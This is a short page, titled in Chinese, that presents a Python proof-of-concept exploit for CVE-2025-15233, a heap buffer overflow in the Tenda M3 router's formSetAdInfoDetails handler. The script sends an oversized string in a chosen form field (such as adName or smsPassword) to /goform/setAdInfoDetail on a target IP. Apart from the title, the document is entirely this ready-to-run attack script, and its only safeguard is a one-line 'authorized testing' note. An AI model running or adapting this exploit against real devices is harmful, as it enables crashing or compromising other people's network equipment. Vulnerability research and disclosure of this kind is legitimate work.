CVE-2025-15233: Tenda M3堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15233 PoC - Tenda M3 Heap Buffer Overflow This PoC demonstrates the heap buffer overflow vulnerability in Tenda M3's formSetAdInfoDetails function. Note: Use only for authorized security testing. """ import requests import argparse TARGET_HOST = "http://{target_ip}" ENDPOINT = "/goform/setAdInfoDetail" def create_exploit_payload(param_name, overflow_length=1000): """ Create a payload that triggers heap buffer overflow. The function formSetAdInfoDetails copies user input to a fixed-size heap buffer without proper length checking. """ # Generate overflow data overflow_data = "A" * overflow_length payload = { param_name: overflow_data } return payload def exploit_cve_2025_15233(target_ip, param="adName", overflow_length=1000): """ Send exploit payload to trigger the vulnerability. Args: target_ip: Target device IP address param: Parameter to overflow (adName, smsPassword, smsAccount, etc.) overflow_length: Length of overflow data """ url = f"{TARGET_HOST.format(target_ip=target_ip)}{ENDPOINT}" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } payload = create_exploit_payload(param, overflow_length) print(f"[*] Targeting: {url}") print(f"[*] Overflow parameter: {param}") print(f"[*] Payload length: {overflow_length}") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-15233 PoC") parser.add_argument("target_ip", help="Target Tenda M3 IP address") parser.add_argument("-p", "--param", default="adName", help="Parameter to overflow (default: adName)") parser.add_argument("-l", "--length", type=int, default=1000, help="Overflow length (default: 1000)") args = parser.parse_args() exploit_cve_2025_15233(args.target_ip, args.param, args.length)